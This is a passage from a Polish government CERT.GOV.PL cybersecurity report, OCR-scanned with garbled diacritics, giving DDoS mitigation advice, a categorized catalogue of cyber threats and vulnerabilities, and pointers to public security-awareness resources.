korzystajacych z danych zgromadzonych lokalnie (loadbalancing). W przypadku
duzego obcigzenia atakowanej witryny posiadanie witryny w centrum zapasowym
(zalecana inna lokalizacja oraz dostawca tgcza internetowego).

Uzycie mechanizmdéw automatycznego (oraz na zadanie) przetgczania formy
wyswietlania strony (strona dynamiczna — strona statyczna — informacja o przerwie
technicznej) w zaleznos$ci od poziomu wysycenia fgcza oraz obcigzenia serwera
Swiadczgcego ustugi publiczne, oraz okreslenie maksymalnego czasu, w ktérym
przetgczenie powinno nastgpic.

Przygotowanie uméw z dostawcg tgcza internetowego w sposéb umozliwiajgcy mu
podjecie bezposrednich dziatan zmierzajgcych do odparcia ewentualnego ataku.
W przypadku zlecenia Swiadczenia ustugi obstugi strony firmie zewnetrznej zaleca sie
przygotowanie odpowiednich zapisow w umowie umozliwiajgcych jej podjecie
samodzielnych dziatan w celu zniwelowania zagrozenia w przypadku jego
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wystgpienia. Wprowadzenie odpowiedzialnosci firmy hostujacej za zapewnienie

ciggtosci dziatania powierzonego serwisu, a w przypadku operatora zapewniajacego

jedynie potgczenie — minimalng, gwarantowang przepustowos$é tgcza.

Katalog zagrozen

Realizujgc postanowienia dokumentu Polityka Ochrony Cyberprzestrzeni RP, Zespodt

CERT.GOV.PL opracowat katalog zawierajgcy specyfikacje zagrozen oraz podatnosci

godzgcych w bezpieczeistwo cyberprzestrzeni nawigzujgcych bezposrednio do pragmatyki

funkcjonowania Zespotu CERT.GOV.PL, ktéry moze by¢ wykorzystany przez podmioty przy

reagowaniu na incydenty obstugiwane w ramach wtasnej instytucji.

ZAGROZENIA

1. DZIAtANIA CELOWE

2. DZIAANIA NIECELOWE

1.1
OPROGRAMOWANIE
ZtOSLIWE

1.2 PRZELtAMANIE
ZABEZPIECZEN

1.3 PUBLIKACIE
W SIECI INTERNET

1.4 GROMADZENIE
INFORMACII

1.5 SABOTAZ
KOMPUTEROWY

1.6 CZYNNIK LUDZKI
1.7 CYBERTERRORYZM

2.1 WYPADKI |
ZDARZENIA LOSOWE

2.2 CZYNNIK LUDZKI

CERT.GOV.PL E u

nieuprawnione  wtamanie na konto/ataki

PODATNOSCI

. robak kon .
wirus .. . dialer botnet
sieciowy trojanski

wtamanie do aplikacji

logowanie sieciowe
tresci omawianie naruszenie praw . .
. p. — .p dezinformadja
obrazliwe (zniestawienie) autorskich
. inzynieria .
skanowanie podstuch y szpiegostwo SPAM
spoteczna

nieuprawniony dostep lub

nieuprawniona zmiana . . .
nieuprawnione wykorzystanie

informacji . "
informacji
atak odmowy dostepu (np. DDoS, DOS) skasowanie danych
wykorzystanie podatnosci wykorzystanie podatnosci
W urzgdzeniach aplikacji
naruszenie procedur naruszenie obowigzujgcych przepiséw
bezpieczenstwa prawnych

przestepstwa o charakterze terrorystycznym popetnione
w cyberprzestrzeni

awarie awarie facza awarie
sprzetowe q (btedy oprogramowania)
. btedna naruszenia
naruszenie . . . . .
zaniedbanie konfiguracja brak wiedzy praw
procedur . .
urzadzenia autorskich

Tabela 4. CERT.GOV.PL - katalog zagrozen
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6.2. Informacje dla pozostatych uzytkownikow

Celem podnoszenia bezpieczenstwa systemdéw teleinformatycznych nie  tylko
funkcjonujgcych w administracji rzgdowej Zesp6t CERT.GOV.PL prowadzi strone
www.cert.gov.pl, na ktérej publikowane sg zaréwno specjalistyczne informacje o istotnych
zagrozeniach, podatnosciach oraz aktualizacjach w popularnych i najczesciej
wykorzystywanych systemach i aplikacjach, ale réwniez szereg przydatnych informacji
z zakresu bezpieczeAstwa systemow teleinformatycznych. Znalezé mozna réwniez m.in.
zalecenia konfiguracyjne, przewodniki zabezpieczen i biuletyny bezpieczenstwa. W ramach
publikacji zamieszczone sg Raporty o stanie bezpieczeristwa cyberprzestrzeni opublikowane
w poprzednich latach. Dodatkowo, na stronie www.surfujbezpiecznie.pl, ktéora skierowana
jest do mitodszych uzytkownikéw zapozna¢ sie mozina z dobrymi praktykami
i z 12-toma podstawowymi zasadami bezpiecznego poruszania sie po sieci Internet.
Polecamy réwniez polskie wydania OUCH!*®, ktére zamieszczane s3 na stronie www.cert.pl.
OUCH! — to cykliczny, darmowy zestaw porad bezpieczenstwa dla uzytkownikow
komputerdow. Zawiera takze krotkie, przystepne przedstawienie wybranego zagadnienia
z bezpieczenstwa komputerowego wraz z listg wskazéwek jak mozna chronié siebie, swoich
najblizszych i swojg organizacje przed zagrozeniami z cyberprzestrzeni.

8 polska wersja biuletynu ukazuje sie od kwietnia 2011 w ramach wspodtpracy CERT Polska i SANS Institute.
OUCH jest tworzony i konsultowany przez zespot ekspertéw bezpieczenstwa z SANS Securing The Human.
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